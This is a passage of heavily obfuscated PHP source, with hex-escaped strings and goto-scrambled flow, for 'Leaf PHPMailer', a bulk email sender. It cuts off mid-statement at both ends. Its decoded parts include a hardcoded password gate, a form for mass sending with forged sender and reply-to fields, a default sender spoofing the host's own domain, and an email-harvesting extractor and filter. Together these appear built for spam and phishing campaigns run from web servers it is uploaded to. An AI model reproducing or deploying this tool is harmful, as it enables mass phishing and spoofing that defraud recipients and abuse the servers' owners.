"\x76\x69\144\145\x6f\x2f\x71\165\x69\143\x6b\164\x69\x6d\x65", "\x72\166" => "\166\x69\144\x65\157\x2f\x76\156\144\56\x72\156\55\162\x65\x61\x6c\166\151\144\145\157", "\141\166\151" => "\x76\x69\144\145\157\57\x78\55\x6d\163\x76\151\x64\x65\157", "\155\x6f\166\x69\x65" => "\166\x69\x64\x65\x6f\x2f\x78\x2d\163\x67\151\55\155\157\166\151\x65"); if (array_key_exists(strtolower($ext), $mimes)) { return $mimes[strtolower($ext)]; } return "\x61\x70\x70\x6c\x69\x63\141\x74\x69\157\156\57\157\x63\x74\x65\164\x2d\x73\x74\162\x65\141\155"; } public static function filenameToType($filename) { $qpos = strpos($filename, "\x3f"); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo["\x65\170\x74\145\x6e\163\x69\157\156"]); } public static function mb_pathinfo($path, $options = null) { $ret = array("\x64\x69\x72\x6e\x61\155\x65" => '', "\x62\x61\x73\145\156\141\155\x65" => '', "\x65\x78\x74\x65\156\163\151\x6f\156" => '', "\146\151\x6c\x65\156\141\x6d\145" => ''); $pathinfo = array(); if (preg_match("\x25\x5e\x28\56\52\77\x29\x5b\x5c\134\x2f\135\52\50\50\x5b\x5e\x2f\x5c\134\x5d\52\x3f\51\x28\x5c\56\x28\133\136\134\56\134\134\x2f\135\x2b\x3f\51\174\51\51\x5b\x5c\x5c\57\x5c\56\135\52\x24\45\151\155", $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret["\144\x69\x72\x6e\x61\x6d\x65"] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret["\142\x61\x73\x65\156\x61\155\x65"] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret["\x65\170\x74\x65\156\x73\151\x6f\x6e"] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret["\x66\x69\x6c\x65\x6e\141\x6d\145"] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case "\x64\151\x72\x6e\x61\155\x65": return $ret["\144\x69\x72\x6e\141\155\145"]; case PATHINFO_BASENAME: case "\x62\141\163\x65\x6e\x61\155\x65": return $ret["\142\141\163\145\x6e\141\x6d\145"]; case PATHINFO_EXTENSION: case "\145\170\164\x65\x6e\163\151\157\156": return $ret["\x65\170\x74\145\x6e\x73\151\157\x6e"]; case PATHINFO_FILENAME: case "\146\151\154\x65\x6e\141\155\x65": return $ret["\x66\x69\154\x65\x6e\x61\x6d\x65"]; default: return $ret; } } public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } else { $this->setError($this->lang("\166\x61\x72\151\141\142\154\145\137\163\145\164") . $name); return false; } } public function secureHeader($str) { return trim(str_replace(array("\xd", "\12"), '', $str)); } public static function normalizeBreaks($text, $breaktype = "\15\12") { return preg_replace("\x2f\50\134\162\x5c\x6e\x7c\x5c\162\174\134\x6e\x29\x2f\x6d\163", $breaktype, $text); } public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (33 <= $ord && $ord <= 58 || $ord == 60 || 62 <= $ord && $ord <= 126) { $line .= $txt[$i]; } else { $line .= "\75" . sprintf("\x25\60\x32\130", $ord); } } return $line; } public function DKIM_Sign($signHeader) { if (!defined("\120\113\103\x53\67\137\x54\x45\130\x54")) { if ($this->exceptions) { throw new phpmailerException($this->lang("\145\170\164\x65\156\x73\151\x6f\156\x5f\155\x69\x73\x73\x69\x6e\x67") . "\x6f\x70\x65\156\x73\x73\154"); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' != $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (version_compare(PHP_VERSION, "\65\x2e\63\x2e\60") >= 0 and in_array("\x73\150\141\x32\65\x36\x57\x69\164\x68\122\x53\101\x45\x6e\143\162\171\160\x74\151\x6f\156", openssl_get_md_methods(true))) { if (openssl_sign($signHeader, $signature, $privKey, "\x73\x68\141\62\x35\x36\127\151\x74\150\122\x53\101\105\156\143\x72\x79\x70\x74\151\157\x6e")) { openssl_pkey_free($privKey); return base64_encode($signature); } } else { $pinfo = openssl_pkey_get_details($privKey); $hash = hash("\163\x68\141\x32\x35\x36", $signHeader); $t = "\63\x30\63\x31\63\60\60\144\60\x36\x30\71\x36\x30\x38\66\x34\70\x30\61\x36\65\60\x33\60\64\60\62\x30\x31\x30\x35\x30\x30\60\64\62\60" . $hash; $pslen = $pinfo["\142\x69\x74\x73"] / 8 - (strlen($t) / 2 + 3); $eb = pack("\110\x2a", "\x30\60\60\x31" . str_repeat("\106\x46", $pslen) . "\60\60" . $t); if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) { openssl_pkey_free($privKey); return base64_encode($signature); } } openssl_pkey_free($privKey); return ''; } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace("\x2f\134\x72\x5c\x6e\134\x73\x2b\x2f", "\40", $signHeader); $lines = explode("\xd\xa", $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode("\72", $line, 2); $heading = strtolower($heading); $value = preg_replace("\x2f\134\163\x7b\62\x2c\x7d\57", "\x20", $value); $lines[$key] = $heading . "\x3a" . trim($value); } $signHeader = implode("\15\xa", $lines); return $signHeader; } public function DKIM_BodyC($body) { if ($body == '') { return "\xd\12"; } $body = str_replace("\xd\xa", "\xa", $body); $body = str_replace("\xa", "\xd\xa", $body); while (substr($body, strlen($body) - 4, 4) == "\xd\xa\xd\xa") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = "\162\x73\x61\x2d\x73\x68\x61\x32\65\66"; $DKIMcanonicalization = "\x72\145\154\141\x78\145\144\57\x73\x69\155\x70\x6c\x65"; $DKIMquery = "\x64\x6e\x73\57\164\170\164"; $DKIMtime = time(); $subject_header = "\x53\x75\x62\x6a\x65\143\164\x3a\40{$subject}"; $headers = explode($this->LE, $headers_line); $from_header = ''; $to_header = ''; $date_header = ''; $current = ''; foreach ($headers as $header) { if (strpos($header, "\106\x72\157\155\x3a") === 0) { $from_header = $header; $current = "\x66\x72\x6f\155\x5f\150\145\x61\x64\x65\x72"; } elseif (strpos($header, "\x54\x6f\x3a") === 0) { $to_header = $header; $current = "\164\x6f\137\x68\145\141\x64\145\x72"; } elseif (strpos($header, "\104\141\x74\145\x3a") === 0) { $date_header = $header; $current = "\x64\x61\164\145\137\150\x65\x61\144\x65\x72"; } else { if (!empty(${$current}) && strpos($header, "\40\x3d\x3f") === 0) { ${$current} .= $header; } else { $current = ''; } } } $from = str_replace("\174", "\x3d\67\103", $this->DKIM_QP($from_header)); $to = str_replace("\x7c", "\x3d\x37\x43", $this->DKIM_QP($to_header)); $date = str_replace("\174", "\x3d\x37\x43", $this->DKIM_QP($date_header)); $subject = str_replace("\x7c", "\75\67\103", $this->DKIM_QP($subject_header)); $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); $DKIMb64 = base64_encode(pack("\110\52", hash("\x73\150\x61\x32\65\x36", $body))); if ('' == $this->DKIM_identity) { $ident = ''; } else { $ident = "\x20\151\75" . $this->DKIM_identity . "\x3b"; } $dkimhdrs = "\104\113\111\115\x2d\123\151\x67\156\x61\164\165\162\x65\x3a\40\166\x3d\61\73\40\x61\75" . $DKIMsignatureType . "\x3b\40\161\x3d" . $DKIMquery . "\x3b\x20\x6c\75" . $DKIMlen . "\73\x20\x73\x3d" . $this->DKIM_selector . "\73\15\12" . "\11\x74\x3d" . $DKIMtime . "\73\x20\x63\x3d" . $DKIMcanonicalization . "\73\xd\xa" . "\11\x68\x3d\x46\x72\x6f\x6d\72\124\157\72\104\x61\x74\x65\72\x53\x75\142\x6a\x65\x63\x74\x3b\15\xa" . "\x9\144\x3d" . $this->DKIM_domain . "\x3b" . $ident . "\xd\xa" . "\11\x7a\x3d{$from}\xd\xa" . "\11\x7c{$to}\xd\12" . "\11\174{$date}\15\xa" . "\11\x7c{$subject}\x3b\xd\12" . "\x9\x62\150\x3d" . $DKIMb64 . "\73\xd\12" . "\x9\x62\75"; $toSign = $this->DKIM_HeaderC($from_header . "\15\xa" . $to_header . "\15\12" . $date_header . "\xd\xa" . $subject_header . "\15\12" . $dkimhdrs); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs . $signed . "\15\12"; } public static function hasLineLongerThanMax($str) { return (bool) preg_match("\x2f\x5e\50\56\x7b" . (self::MAX_LINE_LENGTH + 2) . "\54\175\51\x2f\155", $str); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } goto q9FAd; BaUTI: $bit8 = "\163\145\154\x65\143\164\x65\x64"; goto IYE5i; JVcAu: function leafClear($text, $email) { $e = explode("\100", $email); $emailuser = $e[0]; $emaildomain = $e[1]; $text = str_replace("\133\x2d\x74\151\155\145\55\x5d", date("\x6d\57\144\x2f\131\40\x68\72\151\72\163\40\x61", time()), $text); $text = str_replace("\x5b\x2d\x65\155\141\151\x6c\55\x5d", $email, $text); $text = str_replace("\x5b\55\145\155\141\x69\x6c\165\x73\145\162\55\135", $emailuser, $text); $text = str_replace("\x5b\x2d\x65\x6d\141\151\154\x64\157\x6d\141\151\x6e\55\135", $emaildomain, $text); $text = str_replace("\x5b\55\162\x61\x6e\x64\x6f\x6d\x6c\145\x74\x74\145\162\163\55\135", randString("\x61\x62\x63\144\145\x66\x67\x68\151\152\153\154\x6d\x6e\x6f\x70\x71\162\163\x74\x75\x76\x77\170\x79\172"), $text); $text = str_replace("\x5b\x2d\162\x61\156\144\x6f\155\163\164\162\x69\156\147\55\135", randString("\x61\x62\143\144\145\x66\147\x68\x69\x6a\153\x6c\155\x6e\x6f\160\x71\162\163\x74\165\x76\167\170\171\x7a\60\x31\62\x33\64\x35\66\67\70\x39"), $text); $text = str_replace("\133\55\x72\x61\x6e\144\x6f\x6d\156\x75\155\142\x65\x72\55\135", randString("\60\61\x32\63\x34\65\66\67\70\x39"), $text); $text = str_replace("\133\55\x72\141\156\x64\157\x6d\x6d\144\65\x2d\x5d", md5(randString("\x61\x62\143\144\145\x66\147\x68\151\x6a\x6b\154\155\156\157\160\161\x72\163\164\x75\166\167\170\x79\x7a\60\x31\x32\63\64\65\66\x37\x38\71")), $text); return $text; } goto mCaEd; THdph: $leaf["\167\145\142\163\151\164\145"] = "\x6c\145\141\x66\155\x61\151\154\x65\x72\56\x70\x77"; goto nv_II; pckeM: print "\x3c\x2f\142\157\144\171\76"; goto YDE7M; Pw1ld: print "\x3c\x62\157\144\171\x3e"; goto vVH1B; IYE5i: if ($_POST["\x61\143\x74\x69\157\156"] == "\x73\x65\156\144" or $_POST["\x61\x63\x74\151\x6f\156"] == "\163\x63\157\162\145") { $senderEmail = leafTrim($_POST["\x73\x65\156\144\x65\162\105\x6d\x61\151\154"]); $senderName = leafTrim($_POST["\x73\x65\156\144\145\x72\x4e\141\155\x65"]); $replyTo = leafTrim($_POST["\x72\145\x70\154\x79\124\157"]); $subject = leafTrim($_POST["\163\x75\x62\152\145\x63\164"]); $emailList = leafTrim($_POST["\x65\155\141\x69\154\114\x69\163\x74"]); $messageType = leafTrim($_POST["\155\x65\163\163\x61\x67\x65\x54\x79\160\145"]); $messageLetter = leafTrim($_POST["\155\145\163\x73\141\x67\x65\x4c\x65\x74\164\x65\162"]); $encoding = $_POST["\x65\156\x63\157\x64\145"]; $charset = $_POST["\x63\150\141\x72\163\145\x74"]; $html = ''; $utf8 = ''; $bit8 = ''; if ($messageType == 2) { $plain = "\x63\150\145\x63\153\x65\144"; } else { $html = "\143\x68\145\143\x6b\x65\144"; } if ($charset == "\x49\x53\117\55\x38\x38\65\71\55\61") { $iso = "\163\x65\154\145\143\164\x65\x64"; } else { $utf8 = "\x73\x65\x6c\145\143\x74\x65\144"; } if ($encoding == "\x37\142\151\164") { $bit7 = "\163\x65\x6c\x65\143\164\x65\x64"; } elseif ($encoding == "\x62\151\156\x61\x72\171") { $binary = "\x73\x65\154\x65\x63\164\145\144"; } elseif ($encoding == "\142\x61\x73\145\x36\x34") { $base64 = "\163\x65\x6c\145\143\x74\145\144"; } elseif ($encoding == "\x71\x75\x6f\164\x65\x64\55\160\x72\151\156\164\141\x62\x6c\145") { $quotedprintable = "\x73\145\154\145\143\x74\145\x64"; } else { $bit8 = "\x73\145\x6c\145\x63\x74\145\x64"; } } goto TfxC5; SyJ75: ini_set("\x6d\x65\155\x6f\162\171\x5f\154\151\x6d\151\164", -1); goto QQvTt; pCtqB: if (isset($_GET["\x65\155\141\151\154\x66\x69\154\164\x65\162"])) { if (!empty($_FILES["\x66\x69\154\145\124\157\125\x70\x6c\157\x61\x64"]["\x74\155\160\x5f\156\x61\155\x65"])) { $_POST["\145\x6d\141\x69\x6c\114\x69\x73\164"] = file_get_contents($_FILES["\146\151\154\145\x54\x6f\x55\160\x6c\157\141\144"]["\x74\x6d\160\137\156\141\155\145"]); } $_POST["\x65\155\x61\x69\x6c\114\x69\163\x74"] = strtolower($_POST["\145\x6d\x61\151\x6c\x4c\151\x73\164"]); if ($_GET["\x65\x6d\141\x69\x6c\x66\151\154\x74\145\x72"] == "\x69\x66\162\141\x6d") { if ($_POST["\162\x65\x73\x75\154\164\x74\171\x70\145"] == "\144\x6f\167\x6e\x6c\x6f\141\x64") { header("\103\x6f\x6e\x74\x65\156\164\55\x44\145\x73\x63\162\151\x70\x74\151\157\156\72\40\106\x69\154\x65\40\x54\162\141\156\163\146\145\x72"); header("\x43\157\156\x74\145\156\164\55\x54\x79\x70\x65\72\40\x61\x70\160\x6c\151\x63\141\x74\x69\x6f\x6e\57\x6f\x63\x74\x65\x74\55\x73\164\162\145\x61\x6d"); header("\103\x6f\156\164\145\156\x74\55\x44\151\163\160\x6f\163\x69\164\151\x6f\x6e\x3a\40\141\x74\164\x61\x63\x68\155\x65\156\x74\73\x20\146\151\x6c\145\156\141\155\145\x3d\x65\x6d\141\x69\154\163" . time() . "\56\164\170\164"); } else { header("\x43\157\156\164\145\156\164\x2d\x54\x79\160\x65\72\x20\x74\145\170\164\57\x70\154\141\x69\x6e"); } if ($_POST["\163\x75\x62\155\151\x74"] == "\145\x78\164\x72\x61\143\x74") { $pattern = "\57\x5b\101\x2d\132\141\55\x7a\x30\55\x39\x2e\x5f\x25\53\x2d\135\53\x40\133\101\x2d\x5a\x61\55\x7a\60\55\x39\56\x2d\135\x2b\134\x2e\133\x41\x2d\132\141\x2d\x7a\135\x7b\62\x2c\64\175\57"; preg_match_all($pattern, $_POST["\x65\155\x61\151\154\x4c\x69\163\164"], $matches); foreach ($matches[0] as $email) { print $email . "\xa"; } } elseif ($_POST["\x73\x75\142\155\x69\x74"] == "\146\x69\154\x74\145\162") { $emails = explode("\12", $_POST["\x65\x6d\141\151\154\114\151\x73\164"]); $keywords = explode("\xa", strtolower($_POST["\153\145\171\x77\157\162\144\163"])); foreach ($emails as $email) { foreach ($keywords as $keyword) { if (strstr($email, $keyword)) { print $email . "\12"; break; } } } } die; } leafheader(); print "\74\x64\151\166\40\143\x6c\x61\x73\163\x3d\x22\143\x6f\156\164\141\x69\156\x65\162\x20\x63\x6f\154\55\x6c\147\55\x34\42\x3e\74\150\x33\76\74\x66\157\x6e\164\x20\x63\x6f\154\157\162\75\x22\147\162\x65\x65\156\42\76\x3c\163\160\x61\156\40\x63\154\x61\163\163\x3d\42\x67\x6c\171\x70\150\x69\x63\157\156\x20\147\154\x79\160\x68\151\x63\x6f\156\x2d\154\x65\141\146\x22\x3e\74\57\163\x70\141\156\x3e\x3c\57\x66\x6f\156\x74\x3e\x20\x4c\x65\141\146\40\x50\x48\x50\115\x61\x69\x6c\x65\162\40\74\x73\155\x61\154\154\76\x45\155\x61\151\154\x20\106\151\x6c\164\145\162\x3c\57\x73\155\x61\154\154\x3e\74\57\x68\63\76"; print "\xa\40\40\x20\x20\74\x66\157\x72\155\x20\x61\143\164\151\x6f\156\x3d\x22\x3f\145\155\x61\151\154\x66\151\154\164\x65\x72\x3d\151\146\162\141\155\42\x20\x6d\x65\164\150\157\x64\75\42\120\x4f\x53\x54\x22\40\164\x61\162\x67\x65\x74\x3d\42\155\x79\55\x69\146\162\141\x6d\145\x22\40\x65\x6e\143\x74\171\160\x65\x3d\x22\155\165\154\164\x69\x70\x61\162\164\57\x66\157\x72\x6d\x2d\x64\141\164\x61\42\40\x6f\x6e\x73\x75\x62\x6d\151\164\75\x27\47\76\xa\x20\40\40\x20\40\x20\x20\40\x3c\x6c\x61\142\145\154\40\x66\x6f\x72\75\42\145\155\141\x69\154\114\151\x73\x74\42\76\x54\x65\x78\164\40\x3c\x2f\154\x61\142\145\154\76\74\x69\156\160\x75\x74\40\164\x79\160\145\75\x22\x66\x69\154\145\42\x20\156\x61\155\145\x3d\42\x66\151\x6c\x65\124\x6f\125\x70\154\x6f\141\x64\42\x20\x69\144\x3d\x22\x66\151\154\145\124\x6f\x55\x70\x6c\157\x61\x64\x22\76\40\xa\40\40\40\40\40\x20\x20\40\157\x72\xa\xa\40\x20\x20\40\x20\x20\40\40\x3c\x74\145\170\164\141\162\145\141\40\x6e\141\x6d\145\x3d\42\145\155\141\151\x6c\x4c\x69\x73\x74\42\40\x69\144\x3d\42\x65\x6d\x61\151\x6c\114\151\163\x74\x22\x20\143\154\141\163\x73\x3d\x22\146\157\162\x6d\x2d\x63\x6f\156\164\162\157\154\42\x20\162\157\167\163\x3d\x22\x37\x22\40\151\144\75\x22\x74\x65\x78\164\101\x72\x65\141\42\76\x3c\57\164\145\170\x74\141\x72\145\x61\x3e\12\x20\40\40\x20\x20\x20\x3c\144\x69\166\40\143\154\141\163\x73\75\x22\x63\x6f\x6c\x2d\154\147\x2d\61\62\x22\x3e\xa\x20\x20\x20\x20\x20\40\x20\40\74\144\x69\x76\40\143\154\141\163\163\75\x22\162\141\144\151\x6f\42\76\xa\40\40\40\x20\x20\x20\40\x20\40\40\74\154\x61\142\145\154\x3e\12\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x3c\151\156\160\x75\x74\40\x74\171\x70\x65\x3d\42\x72\141\144\151\x6f\42\40\x6e\x61\x6d\145\x3d\x22\162\x65\x73\165\154\x74\164\171\160\145\x22\40\151\x64\x3d\42\x72\145\x73\165\154\x74\164\x79\x70\145\x22\40\x76\x61\x6c\165\145\x3d\x22\150\145\x72\145\42\x20\143\150\x65\143\x6b\x65\x64\x3d\x22\42\76\xa\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\123\x68\157\167\40\x52\145\163\x75\x6c\164\x20\151\156\x20\164\150\x69\163\x20\160\x61\147\145\12\x20\40\x20\40\40\40\x20\x20\40\40\74\57\154\141\142\x65\x6c\x3e\12\x20\40\40\x20\40\x20\40\x20\x3c\57\144\x69\x76\x3e\xa\x20\40\x20\x20\x20\40\x20\40\74\x64\151\166\x20\143\154\x61\x73\x73\75\42\x72\x61\144\x69\x6f\x22\x3e\xa\x20\40\40\x20\40\40\40\x20\x20\x20\x3c\x6c\x61\142\x65\154\76\xa\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x3c\151\156\x70\165\164\40\164\x79\x70\x65\75\x22\x72\141\x64\x69\157\x22\40\156\x61\155\145\75\42\x72\145\163\165\154\164\x74\171\x70\145\x22\40\151\144\x3d\42\x72\145\x73\x75\x6c\x74\x74\x79\160\145\42\x20\166\141\154\x75\x65\75\x22\x64\x6f\x77\x6e\x6c\x6f\x61\x64\42\76\xa\40\40\40\40\40\40\x20\40\x20\40\40\40\x44\x6f\x77\156\x6c\x6f\x61\x64\40\x52\x65\x73\165\154\x74\40\x28\146\x6f\162\40\x62\151\147\40\x6e\165\155\142\x65\x72\x73\51\12\40\x20\40\40\40\x20\x20\40\40\x20\74\57\x6c\x61\x62\x65\154\76\12\x20\40\40\x20\40\x20\40\x20\74\x2f\144\x69\x76\76\12\x20\40\x20\x20\40\40\74\57\144\151\166\76\xa\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\74\x6c\145\147\x65\x6e\144\76\74\150\x34\76\x45\170\x74\x72\141\143\x74\40\105\155\x61\x69\x6c\x3c\x2f\150\x34\76\74\57\x6c\x65\147\145\156\x64\x3e\xa\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\104\145\164\x65\143\x74\151\156\x67\40\x65\x76\x65\162\171\x20\145\155\x61\x69\x6c\40\50\61\60\x30\x25\51\x20\x61\x6e\144\x20\157\162\x64\x65\162\x20\x74\x68\145\x6d\x20\x6c\x69\156\145\40\142\x79\40\x6c\151\156\145\x20\x3c\x62\x72\x3e\74\142\x72\x3e\xa\x20\40\x20\40\40\40\40\x20\74\x62\x75\164\164\157\x6e\x20\164\x79\160\x65\75\42\x73\165\x62\155\x69\x74\x22\40\156\x61\x6d\x65\75\x22\163\165\142\x6d\x69\164\42\x20\166\141\x6c\165\x65\75\42\x65\x78\x74\x72\141\x63\164\x22\40\143\154\x61\x73\163\75\42\x62\x74\x6e\40\x62\x74\156\55\144\x65\x66\x61\165\154\164\40\142\164\x6e\55\163\155\x22\x3e\123\164\x61\x72\164\x3c\x2f\142\x75\x74\164\157\x6e\x3e\xa\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\x3c\x6c\x65\x67\145\x6e\x64\x3e\74\x68\64\x3e\x46\x69\154\x74\145\162\x20\x45\155\x61\x69\x6c\x73\74\57\x68\x34\76\74\x2f\x6c\x65\x67\x65\x6e\144\x3e\12\40\40\x20\40\x20\x20\40\x20\x3c\x6c\x61\x62\145\154\40\76\113\145\171\x77\x6f\162\x64\x73\40\x3c\163\155\x61\154\154\x3e\40\x65\170\72\x20\147\155\141\151\154\x2e\143\157\155\40\157\162\x20\56\x63\157\x2e\165\153\x3c\57\x73\155\141\x6c\154\x3e\x20\x3c\57\154\141\142\x65\x6c\76\74\164\x65\170\164\141\x72\145\x61\x20\156\141\155\x65\75\x22\153\x65\171\167\157\162\x64\x73\42\40\151\x64\x3d\42\153\x65\171\x77\x6f\162\144\163\x22\x20\143\x6c\141\163\163\75\42\146\x6f\x72\155\x2d\x63\157\x6e\164\x72\x6f\154\x22\40\162\x6f\x77\163\x3d\x22\64\x22\x20\x69\144\75\x22\x74\x65\x78\x74\101\x72\145\141\42\x3e\147\x6d\x61\151\154\56\143\x6f\x6d\12\150\157\164\155\141\151\154\x2e\143\x6f\155\xa\171\x61\x68\157\157\56\x63\157\x6d\xa\x2e\143\x6f\x2e\x75\x6b\x3c\57\164\145\170\x74\x61\162\145\x61\x3e\74\142\162\76\xa\12\40\x20\40\40\x20\x20\40\40\x20\40\40\40\74\x62\x75\x74\164\x6f\x6e\40\x74\171\x70\x65\75\x22\x73\x75\x62\x6d\x69\x74\42\x20\156\141\155\x65\75\42\x73\165\142\155\x69\164\x22\x20\x76\141\x6c\165\x65\75\42\x66\x69\x6c\x74\x65\x72\x22\40\x63\x6c\141\x73\163\x3d\x22\142\164\x6e\40\142\x74\x6e\x2d\x64\x65\146\x61\165\154\x74\40\142\x74\156\55\163\155\x22\76\123\x74\141\x72\x74\x3c\57\142\x75\164\x74\x6f\156\76\12\x20\x20\x20\40\x3c\57\x66\157\162\155\x3e\12\x20\x20\40\x20\x3c\x6c\141\x62\145\154\x20\76\122\x65\x73\165\154\x74\x20\x3c\x2f\154\141\142\145\154\x3e\xa\x20\40\x20\40\x3c\x69\x66\162\141\155\x65\x20\x73\x74\171\154\x65\x3d\42\142\157\162\x64\145\162\x3a\x6e\x6f\156\145\73\x77\x69\x64\164\150\x3a\61\x30\x30\45\x3b\42\40\156\x61\155\145\x3d\42\155\x79\x2d\x69\146\x72\x61\x6d\x65\x22\40\40\163\x72\143\75\42\77\x65\x6d\x61\x69\x6c\146\x69\154\164\145\x72\75\151\x66\162\x61\155\42\x20\x3e\74\57\151\146\x72\x61\155\145\76\xa\x20\40\40"; die; } goto mmmzf; mh1ch: $password = "\61\x32\x33"; goto NArRp; K405j: set_time_limit(0); goto SyJ75; bOPQd: if (!isset($_POST["\x73\145\156\144\145\x72\x45\155\141\151\x6c"])) { $senderEmail = "\x73\x75\x70\160\157\x72\x74\x40" . str_replace("\167\167\167\56", '', $_SERVER["\x48\124\x54\x50\137\x48\117\123\x54"]); if (!leafMailCheck($senderEmail)) { $senderEmail = ''; } } goto Hmzlm; rOXEk: if (!empty($password) and $_SESSION[$sessioncode] != $password) { if (isset($_REQUEST["\160\x61\x73\x73"]) and $_REQUEST["\160\x61\x73\163"] == $password) { $_SESSION[$sessioncode] = $password; } else { print "\74\x70\x72\x65\x20\141\154\x69\147\156\75\x63\x65\x6e\x74\x65\162\x3e\74\x66\x6f\x72\x6d\x20\x6d\x65\x74\150\157\x64\x3d\x70\x6f\x73\164\x3e\x50\141\x73\163\x77\x6f\162\x64\x3a\40\x3c\x69\156\160\x75\x74\x20\164\x79\x70\x65\x3d\x27\160\x61\x73\x73\167\157\162\x64\47\40\156\141\155\145\75\x27\x70\141\x73\x73\47\76\74\x69\x6e\x70\165\x74\40\164\171\x70\x65\x3d\47\x73\x75\x62\155\x69\x74\x27\x20\166\x61\x6c\165\x65\75\47\x3e\76\x27\76\x3c\x2f\146\x6f\162\x6d\x3e\74\x2f\160\x72\x65\76"; die; } } goto o3kAf; nv_II: $sessioncode = md5(__FILE__); goto rOXEk; vVH1B: print "\x3c\x64\151\x76\40\x63\x6c\141\163\x73\75\x22\143\x6f\156\x74\141\x69\156\145\x72\40\x63\x6f\x6c\55\x6c\147\x2d\x36\42\76\xa\40\x20\40\x20\40\x20\40\x20\x3c\x68\63\x3e\74\146\x6f\156\164\x20\x63\157\154\x6f\x72\75\x22\x67\162\x65\x65\156\x22\x3e\x3c\163\x70\141\x6e\x20\143\x6c\x61\x73\x73\75\x22\x67\154\x79\160\150\151\143\157\x6e\40\x67\x6c\x79\x70\150\151\143\x6f\156\55\x6c\x65\x61\146\x22\76\x3c\x2f\163\x70\x61\156\76\x3c\57\x66\x6f\156\x74\76\x20\114\x65\141\146\40\120\110\x50\115\x61\x69\x6c\x65\162\x20\74\163\x6d\141\154\154\x3e" . $leaf["\x76\x65\162\163\x69\157\156"] . "\x3c\x2f\163\x6d\141\x6c\x6c\x3e\x3c\x2f\150\x33\76\12\x20\x20\x20\x20\x20\40\x20\x20\x3c\146\157\162\155\x20\156\x61\x6d\145\x3d\x22\x66\157\x72\x6d\x22\40\151\x64\x3d\42\x66\x6f\162\155\42\40\x6d\145\x74\x68\157\x64\75\42\x50\117\x53\124\x22\40\x65\156\143\164\x79\x70\145\x3d\x22\155\x75\154\164\x69\160\141\x72\164\57\x66\157\162\155\55\144\x61\164\x61\x22\x20\x61\x63\164\151\x6f\x6e\x3d\42\x22\x3e\12\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\74\x69\156\160\x75\x74\x20\x74\x79\160\x65\75\x22\150\151\x64\x64\145\x6e\42\40\x6e\x61\155\x65\75\42\x61\143\x74\x69\x6f\156\x22\x20\x76\x61\154\165\145\75\42\163\143\x6f\x72\x65\x22\x3e\xa\xa\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\74\144\151\166\40\x63\x6c\x61\x73\163\x3d\x22\x72\x6f\167\42\76\xa\40\x20\40\40\40\40\40\40\x20\40\40\x20\40\40\40\x20\74\144\151\166\40\x63\x6c\141\163\163\75\42\x66\157\x72\155\55\147\162\157\x75\160\x20\143\x6f\154\x2d\x6c\x67\55\66\x20\42\76\74\154\x61\x62\145\154\40\146\x6f\162\x3d\42\163\145\156\x64\x65\162\x45\155\x61\x69\154\x22\76\105\155\141\x69\x6c\74\57\x6c\x61\x62\145\x6c\x3e\x3c\x69\156\x70\165\164\40\164\x79\x70\x65\x3d\42\164\x65\x78\x74\x22\40\x63\154\x61\163\163\x3d\x22\146\157\162\155\x2d\143\x6f\x6e\164\x72\157\154\40\x20\x69\x6e\x70\165\x74\55\163\x6d\x20\42\x20\151\x64\75\x22\x73\145\x6e\144\145\x72\x45\x6d\x61\x69\x6c\x22\40\x6e\x61\x6d\145\75\42\x73\x65\156\x64\145\x72\x45\155\x61\x69\154\x22\40\x76\x61\x6c\165\x65\75\42" . $senderEmail . 